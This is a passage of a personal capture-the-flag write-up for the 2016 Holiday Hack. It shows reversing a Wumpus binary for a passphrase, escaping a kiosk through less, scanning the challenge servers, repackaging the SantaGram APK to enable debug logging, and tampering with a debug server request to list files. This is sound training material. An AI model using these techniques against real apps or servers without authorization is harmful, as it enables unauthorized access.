|           0x00402660      488945f8       mov qword [rbp - local_8h], rax
|           0x00402664      488b05cd2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x0040266b      0fb65009       movzx edx, byte [rax + 9]   ; [0x9:1]=0
|           0x0040266f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402673      8810           mov byte [rax], dl
|           0x00402675      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402679      488d5001       lea rdx, [rax + 1]          ; 0x1
|           0x0040267d      488b05bc2a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x00402684      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402688      8802           mov byte [rdx], al
|           0x0040268a      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040268e      488d5002       lea rdx, [rax + 2]          ; 0x2
|           0x00402692      488b059f2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402699      0fb64037       movzx eax, byte [rax + 0x37] ; [0x37:1]=0 ; '7'
|           0x0040269d      8802           mov byte [rdx], al
|           0x0040269f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026a3      488d5003       lea rdx, [rax + 3]          ; 0x3
|           0x004026a7      488b05722a20.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x004026ae      0fb64012       movzx eax, byte [rax + 0x12] ; [0x12:1]=62
|           0x004026b2      8802           mov byte [rdx], al
|           0x004026b4      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026b8      488d5004       lea rdx, [rax + 4]          ; 0x4
|           0x004026bc      488b05852a20.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004026c3      0fb6401d       movzx eax, byte [rax + 0x1d] ; [0x1d:1]=0
|           0x004026c7      8802           mov byte [rdx], al
|           0x004026c9      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026cd      488d5005       lea rdx, [rax + 5]          ; 0x5
|           0x004026d1      488b05582a20.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x004026d8      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x004026dc      8802           mov byte [rdx], al
|           0x004026de      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026e2      488d5006       lea rdx, [rax + 6]          ; 0x6
|           0x004026e6      488b055b2a20.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004026ed      0fb64016       movzx eax, byte [rax + 0x16] ; [0x16:1]=0
|           0x004026f1      8802           mov byte [rdx], al
|           0x004026f3      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026f7      488d5007       lea rdx, [rax + 7]          ; 0x7
|           0x004026fb      488b05262a20.  mov rax, qword [obj.m1]     ; [0x605128:8]=0x4029bd str.Pattern_Recognition. LEA obj.m1 ; obj.m1
|           0x00402702      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402706      8802           mov byte [rdx], al
|           0x00402708      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040270c      488d5008       lea rdx, [rax + 8]          ; 0x8
|           0x00402710      488b05212a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402717      0fb6402e       movzx eax, byte [rax + 0x2e] ; [0x2e:1]=0 ; '.'
|           0x0040271b      8802           mov byte [rdx], al
|           0x0040271d      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402721      488d5009       lea rdx, [rax + 9]          ; 0x9
|           0x00402725      488b05142a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x0040272c      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x00402730      8802           mov byte [rdx], al
|           0x00402732      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402736      488d500a       lea rdx, [rax + 0xa]        ; 0xa
|           0x0040273a      488b05ff2920.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x00402741      0fb64049       movzx eax, byte [rax + 0x49] ; [0x49:1]=0 ; 'I'
|           0x00402745      8802           mov byte [rdx], al
|           0x00402747      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040274b      488d500b       lea rdx, [rax + 0xb]        ; 0xb
|           0x0040274f      488b05f22920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x00402756      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x0040275a      8802           mov byte [rdx], al
|           0x0040275c      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402760      488d500c       lea rdx, [rax + 0xc]        ; 0xc
|           0x00402764      488b05c52920.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x0040276b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040276f      8802           mov byte [rdx], al
|           0x00402771      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402775      488d500d       lea rdx, [rax + 0xd]        ; 0xd
|           0x00402779      488b05b82920.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402780      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x00402784      8802           mov byte [rdx], al
|           0x00402786      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040278a      488d500e       lea rdx, [rax + 0xe]        ; 0xe
|           0x0040278e      488b05b32920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x00402795      0fb64003       movzx eax, byte [rax + 3]   ; [0x3:1]=70
|           0x00402799      8802           mov byte [rdx], al
|           0x0040279b      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040279f      488d500f       lea rdx, [rax + 0xf]        ; 0xf
|           0x004027a3      488b056e2920.  mov rax, qword [obj.m3]     ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
|           0x004027aa      0fb6400d       movzx eax, byte [rax + 0xd] ; [0xd:1]=0
|           0x004027ae      8802           mov byte [rdx], al
|           0x004027b0      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027b4      488d5010       lea rdx, [rax + 0x10]       ; 0x10
|           0x004027b8      488b05592920.  mov rax, qword [obj.m3]     ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
|           0x004027bf      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x004027c3      8802           mov byte [rdx], al
|           0x004027c5      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027c9      488d5011       lea rdx, [rax + 0x11]       ; 0x11
|           0x004027cd      488b055c2920.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x004027d4      0fb64006       movzx eax, byte [rax + 6]   ; [0x6:1]=1
|           0x004027d8      8802           mov byte [rdx], al
|           0x004027da      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027de      488d5012       lea rdx, [rax + 0x12]       ; 0x12 ; ">"
|           0x004027e2      488b055f2920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004027e9      0fb600         movzx eax, byte [rax]
|           0x004027ec      8802           mov byte [rdx], al
|           0x004027ee      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027f2      488d5013       lea rdx, [rax + 0x13]       ; 0x13
|           0x004027f6      488b05232920.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x004027fd      0fb600         movzx eax, byte [rax]
|           0x00402800      8802           mov byte [rdx], al
|           0x00402802      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402806      488d5014       lea rdx, [rax + 0x14]       ; 0x14
|           0x0040280a      488b05272920.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402811      0fb64006       movzx eax, byte [rax + 6]   ; [0x6:1]=1
|           0x00402815      8802           mov byte [rdx], al
|           0x00402817      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040281b      488d5015       lea rdx, [rax + 0x15]       ; 0x15
|           0x0040281f      488b05fa2820.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x00402826      0fb6400a       movzx eax, byte [rax + 0xa] ; [0xa:1]=0
|           0x0040282a      8802           mov byte [rdx], al
|           0x0040282c      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402830      488d5016       lea rdx, [rax + 0x16]       ; 0x16
|           0x00402834      488b050d2920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x0040283b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040283f      8802           mov byte [rdx], al
|           0x00402841      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402845      4889c7         mov rdi, rax
|           0x00402848      e861f6ffff     call sym.to_upper
|           0x0040284d      bf9f364000     mov edi, str._nPassphrase:  ; str._nPassphrase:
|           0x00402852      e859e2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402857      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040285b      4889c7         mov rdi, rax
|           0x0040285e      e84de2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402863      90             nop
|           0x00402864      c9             leave
\           0x00402865      c3             ret

Instead of trying to statically analyze this function, we can use gdb to directly jump to it:

$ gdb ./wumpus
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./wumpus...(no debugging symbols found)...done.
(gdb) r
Starting program: ./wumpus
Instructions? (y-n) ^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7b0cba0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81  ../sysdeps/unix/syscall-template.S: Aucun fichier ou dossier de ce type.
(gdb) j kill_wump
Continuing at 0x402648.
*thwock!* *groan* *crash*

A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!

Passphrase:
WUMPUS IS MISUNDERSTOOD

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ff5000 in ?? ()

If you reaaaaally want to do it by hand, here's a short explanation (statical analysis and disassembly are not my strong suits):

[...]
|           0x00402656      bf18000000     mov edi, 0x18               ; "0.@"
|           0x0040265b      e8f0e4ffff     call sym.imp.malloc        ;  void *malloc(size_t size);
|           0x00402660      488945f8       mov qword [rbp - local_8h], rax
|           0x00402664      488b05cd2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x0040266b      0fb65009       movzx edx, byte [rax + 9]   ; [0x9:1]=0
|           0x0040266f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402673      8810           mov byte [rax], dl
|           0x00402675      488b45f8       mov rax, qword [rbp - local_8h]
[...]

Before the passphrase is printed, we can see that the program allocates memory for a buffer, with a call so sym.imp.malloc. The size of the buffer is 0x18 bytes, which is exactly the size of our final passphrase, plus one, for the NULL byte (wink, wink). So, our final passphrase will be constructed and put into a final buffer.

Then, we can see that several strings are used to compute our final passphrase. The first one is:

When you want to know how things really work, study them when they're coming apart

The pointer to this string is put into the rax register. The byte situated at rax + 9 is then put into the edx register. If we take our string, and get the 9th character (starting counting from 0), we get the w from want.

This character is then moved to the local_8h variable. We now have a local_8h variable, starting with w. Incidently, it's the first character of our final passphrase (see where this is going?).

We then move on to the second character, using the following string:

We have no future because our present is too volatile. We have only risk management.

[...]
|           0x00402679      488d5001       lea rdx, [rax + 1]          ; 0x1
|           0x0040267d      488b05bc2a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x00402684      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402688      8802           mov byte [rdx], al
|           0x0040268a      488b45f8       mov rax, qword [rbp - local_8h]
[...]

We see that the byte situated at rax + 0xe, which is the second u in future, is stored in edx. This character is then moved to local_8h + 1.

Our local_8h now begins with wu. We do this for the rest of the strings, and we finally get wumpus is misunderstood, before the call to the sym.to_upper function, giving us the final passphrase.

[...]
|           0x0040283b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040283f      8802           mov byte [rdx], al
|           0x00402841      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402845      4889c7         mov rdi, rax
|           0x00402848      e861f6ffff     call sym.to_upper
|           0x0040284d      bf9f364000     mov edi, str._nPassphrase:  ; str._nPassphrase:
|           0x00402852      e859e2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402857      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040285b      4889c7         mov rdi, rax
|           0x0040285e      e84de2ffff     call sym.imp.puts          ; int puts(const char *s);
[...]

Passphrase: WUMPUS IS MISUNDERSTOOD

This passphrase gives you an access to a room called DFER, where there's no terminal.

Train station

You're given access to a kiosk menu to control the train:

Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main>

If you want to start the train, you must release the brakes, and know the correct passphrase:

                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> BRAKEOFF
*******CAUTION*******
The brake has been released!
*******CAUTION*******
off
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> START
Checking brakes....
Enter Password:

Let's see how we can find this password.

If you take a look at the HELP function, you can see that it's opening a help file. The clue in the description of the HELP function ("unLESS you know something I don't"), plus the name of the file at the bottom of the screen, is a strong indicator that the menu is using the less command to open the help file:

By using the :e command, we can examine another file than the one open. By using tabulation auto-complete, we can see the name of the script used to display the kiosk menu, Train_Console:

Passphrase: 24fb3e89ce2aa0ea422c3d511d40dd84.

By starting the train, we can see that we can travel to the past, in 1978!

We then arrive in the North Pole, but in 1978:

We can go, in 1978, into every room that we unlocked in 2016. By doing so, we find Santa in the DFER ("Dungeon For Errant Reindeer") room:

Part 4: My Gosh... It's Full of Holes

Well, we've found Santa, Christmas is saved, hurray! But the abductor is still roaming free. And since Santa is suffering from short-term memory loss because of the fight, he doesn't remember who attacked him. So, who is behind Santa's attack, and where can we find them? By taking a look at the SantaGram application, we may find some interesting informations.

We're looking for servers the SantaGram application interacts with. By looking at the resource file in the decompiled APK, we can find several URLs:

0x7f070015 (2131165205) = string.analytics_launch_url: https://analytics.northpolewonderland.com/report.php?type=launch
0x7f070016 (2131165206) = string.analytics_usage_url: https://analytics.northpolewonderland.com/report.php?type=usage
[...]
0x7f07001a (2131165210) = string.banner_ad_url: http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5
[...]
0x7f07001d (2131165213) = string.debug_data_collection_url: http://dev.northpolewonderland.com/index.php
[...]
0x7f07001f (2131165215) = string.dungeon_url: http://dungeon.northpolewonderland.com/
0x7f070020 (2131165216) = string.exhandler_url: http://ex.northpolewonderland.com/exception.php

This gives us a total of five servers to target:

analytics.northpolewonderland.com
ads.northpolewonderland.com
dev.northpolewonderland.com
dungeon.northpolewonderland.com
ex.northpolewonderland.com

We can confirm with the Great and Powerful Oracle, Tom Hessman, that these are indeed, the servers to target:

Alright, let the hacking begin!

The Dungeon Game

The web server of the Dungeon game gives us instructions on how to play. A mischievous Elf is said to trade secrets for gifts. If we give him a gift, he may help us find the villain!

However, we can't seem to start a party on the web page. Similarly as last year, and since an elf in the North Pole hints to do so, I suspected there was another open port, on which we could connect to play the Dungeon game:

$ nmap dungeon.northpolewonderland.com

Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-29 21:58 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.12s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
11111/tcp open     vce

Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds

The last port is not a standard one, let's connect to it with nc:

$ nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>

As suspected, it's an interface to the Dungeon game. That's when I decided to brush up a little bit on it (instead of just posting a link to the Wikipedia article as I did in Part 1). It's a text-based RPG, inspired by Dungeons and Dragons. It's apparently strongly tied to the famous Zork.

So I started searching for *cough cough* write-through of Zork and found this one. It's not really necessary, but it gave me the idea to go up the chimney.

Anyway, here's how to get the wanted information:

Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>south
You are facing the south side of a white house.  There is no door here,
and all the windows are barred.
>east
You are behind the white house.  In one corner of the house
there is a window which is slightly ajar.
>open window
With great effort, you open the window far enough to allow passage.
>go in
You are in the kitchen of the white house.  A table seems to have
been used recently for the preparation of food.  A passage leads to
the west, and a dark staircase can be seen leading upward.  To the
east is a small window which is open.
On the table is an elongated brown sack, smelling of hot peppers.
A clear glass bottle is here.
The glass bottle contains:
  A quantity of water.
>west
You are in the living room.  There is a door to the east.  To the west
is a wooden door with strange gothic lettering, which appears to be
nailed shut.
In the center of the room is a large oriental rug.
There is a trophy case here.
On hooks above the mantlepiece hangs an elvish sword of great antiquity.
A battery-powered brass lantern is on the trophy case.
There is an issue of US NEWS & DUNGEON REPORT dated 11-MAR-78 here.
>take lantern
Taken.
>turn lantern on
The lamp is now on.
>move rug
With a great effort, the rug is moved to one side of the room.
With the rug moved, the dusty cover of a closed trap door appears.
>open trap door
The door reluctantly opens to reveal a rickety staircase descending
into darkness.
>go down
You are in a dark and damp cellar with a narrow passageway leading
east, and a crawlway to the south.  To the west is the bottom of a
steep metal ramp which is unclimbable.
The door crashes shut, and you hear someone barring it.
>south
You are on the west edge of a chasm, the bottom of which cannot be
seen.  The east side is sheer rock, providing no exits.  A narrow
passage goes west.  The path you are on continues to the north and south.
>south
You are in an art gallery.  Most of the paintings which were here
have been stolen by vandals with exceptional taste.  The vandals
left through the north, south, or west exits.
Fortunately, there is still one chance for you to be a vandal, for on
the far wall is a work of unparalleled beauty.
>take painting
Taken.
>south
You are in what appears to have been an artist's studio.  The walls
and floors are splattered with paints of 69 different colors.
Strangely enough, nothing of value is hanging here.  At the north and
northwest of the room are open doors (also covered with paint).  An
extremely dark and narrow chimney leads up from a fireplace.  Although
you might be able to get up the chimney, it seems unlikely that you
could get back down.
>go up
You have mysteriously reached the North Pole.
In the distance you detect the busy sounds of Santa's elves in full
production.

You are in a warm room, lit by both the fireplace but also the glow of
centuries old trophies.
On the wall is a sign:
        Songs of the seasons are in many parts
        To solve a puzzle is in our hearts
        Ask not what what the answer be,
        Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.
>give painting to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 89 [total of 585 points], in 16 moves.
This gives you the rank of Novice Adventurer.

We're given instructions to send a mail to peppermint@northpolewonderland.com to receive the information we seek. After sending an email, we get an answer:

We now have our third weird audio file.

The Debug Server

If we look at the decompiled source code of the SantaGram application, we can see that the debug server is called when a user modifies their own profile:

// File com/northpolewonderland/santagram/EditProfile.java
if (getString(R.string.debug_data_enabled).equals("true")) {
    Log.i(getString(R.string.TAG), "Remote debug logging is Enabled");
    z = true;
} else {
    Log.i(getString(R.string.TAG), "Remote debug logging is Disabled");
    z = false;
}
[...]
if (z) {
    try {
        final JSONObject jSONObject = new JSONObject();
        jSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime()));
        jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id"));
        jSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
        jSONObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());
        new Thread(new Runnable(this) {
            final /* synthetic */ EditProfile b;

            public void run() {
                b.a(this.b.getString(R.string.debug_data_collection_url), jSONObject);
            }
        }).start();
    } catch (Exception e) {
        Log.e(getString(R.string.TAG), "Error posting JSON debug data: " + e.getMessage());
    }
}

However, to do so, debug mode must be enabled in the application. To check this, the application compares the string debug_data_enabled in the application resource's to true. Let's take a look at the resources:

<!-- File res/values/strings.xml -->
<string name="debug_data_enabled">false</string>

Debug data are disabled. So we need to modify the resource file of the application in order to enable it. Luckily, this is something we often have to do in my day job: more and more of our clients are implementing TLS certificate pinning in their mobile applications, which prevents us from intercepting the tested application's communication with Burp. This means that we have to decompile the application, patch the certificate pinning code, recompile, then reinstall the application. This is kind of what we have to do here, except instead of patching the certificate pinning code, we just have to modify the resource file to enable debug data.

I'm basically going to use this excellent tutorial to patch the application and rebuild it without any problem.

# First, we're disassembling the application
$ apktool d ./SantaGram_4.2.apk -o SantaGram_4.2_disassembled
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
# Now, we modify our resource file
$ sed -i 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' SantaGram_4.2_disassembled/res/values/strings.xml
$ grep 'debug_data_enabled' SantaGram_4.2_disassembled/res/values/strings.xml
    <string name="debug_data_enabled">true</string>
# Now, we're rebuilding our application
$ apktool b ./SantaGram_4.2_disassembled -o SantaGram_4.2_debug.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
# In order to be able to install our new APK, we must sign it, check the above
# tutorial for instructions
$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
[...]
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore SantaGram_4.2_debug.apk alias_name
Enter Passphrase for keystore:
jar signed.

Warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-14) or after any future revocation date.

We now have a SantaGram_4.2_debug.apk file, that we can install on our phone. This application has debugging enabled, which means that we'll see communication with the debug server.

<reminder>

Even though communications with the debug server is done in plain text, the application communicates with the https://www.northpolewonderland.com/ application. Since it's TLS-encrypted, and the application checks the validity of the certificate, you must import your intercepting proxy's CA certificate in your telephone. Just a reminder that Android phones can only import PEM, and that by default Burp exports its CA certificate in DER. You can use the following OpenSSL command to convert it:

$ openssl x509 -inform der -in ./burpca.der -out burpca.pem

</reminder>

We can now launch the application, log in with our credentials guest/busyreindeer78, and edit our profile:

Our patch worked, because we can see some request to the debug server:

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200}

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:06:03 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161227000603","status":"OK","filename":"debug-20161227000603-0.txt","request":{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200,"verbose":false}}

We can see in the server's reponse that there's a verbose parameter set to false. What if we set "verbose":true in our request (me loves some verbosity)?

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 159

{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true}

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:09:10 GMT
Content-Type: application/json
Connection: close
Content-Length: 755

{"date":"20161227000910","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161227000910-0.txt","filename.len":26,"request":{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161226231736-0.txt","debug-20161226232005-0.txt","debug-20161226232057-0.txt","debug-20161226232243-0.txt","debug-20161226232507-0.txt","debug-20161226232516-0.txt","debug-20161226233655-0.txt","debug-20161226234235-0.txt","debug-20161226234246-0.txt","debug-20161226234259-0.txt","debug-20161226234313-0.txt","debug-20161227000501-0.txt","debug-20161227000603-0.txt","debug-20161227000910-0.txt","index.php"]}

Yes! Many more informations were sent back, including the name of our audio file, debug-20161224235959-0.mp3.

We can now download our audio file at this URL: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3

The Banner Ad Server

The SantaGram bug bounty program is apparently running an ad server, so as to display ad in the Android application. If we go to this ad web server, we can see that it's running the Meteor Javascript framework:

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/d1281f37fbafb6db67a052e58c901679c5cabcc2.css?meteor_css_resource=true">
<meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags--><meta name="description" content="Holiday Hack"><title>Ad Nauseam - Stupid Ads for Stupid People</title>

</head>
<body>

<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent("%7B%22meteorRelease%22%3A%22METEOR%401.4.2.3%22%2C%22meteorEnv%22%3A%7B%22NODE_ENV%22%3A%22production%22%2C%22TEST_METADATA%22%3A%22%7B%7D%22%7D%2C%22PUBLIC_SETTINGS%22%3A%7B%7D%2C%22ROOT_URL%22%3A%22http%3A%2F%2Fads.northpolewonderland.com%22%2C%22ROOT_URL_PATH_PREFIX%22%3A%22%22%2C%22appId%22%3A%221vgh1e61x7h692h4hyt1%22%2C%22autoupdateVersion%22%3A%22537dcf6b4594db16ea2d99d0a920f2deeb7dc9f1%22%2C%22autoupdateVersionRefreshable%22%3A%2205c3f7dba9f3e15efa3d971acf18cab901dc0505%22%2C%22autoupdateVersionCordova%22%3A%22none%22%7D"));</script>

  <script type="text/javascript" src="/fedc8e9f69dab9d81a4f227d6ec76567fcb56231.js?meteor_js_resource=true"></script>

</body>
</html>

